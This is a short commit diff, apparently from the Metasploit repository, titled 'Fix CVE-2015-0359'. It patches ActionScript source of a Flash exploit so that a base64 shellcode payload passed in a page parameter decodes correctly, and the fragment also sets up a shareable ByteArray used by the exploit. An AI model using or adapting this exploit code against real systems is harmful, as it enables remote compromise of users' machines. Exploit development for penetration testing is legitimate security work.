Fix CVE-2015-0359

bug/bundler_fix
jvazquez-r7 2015-05-26 17:27:20 -05:00
parent 19c7445d9d
commit bd1bdf22b5
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
2 changed files with 4 additions and 1 deletions

Binary file not shown.

View File

@ -43,7 +43,10 @@ package
private function mainThread():void private function mainThread():void
{ {
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString() payload = b64.toByteArray().toString()
ba.length = 0x1000 ba.length = 0x1000
ba.shareable = true ba.shareable = true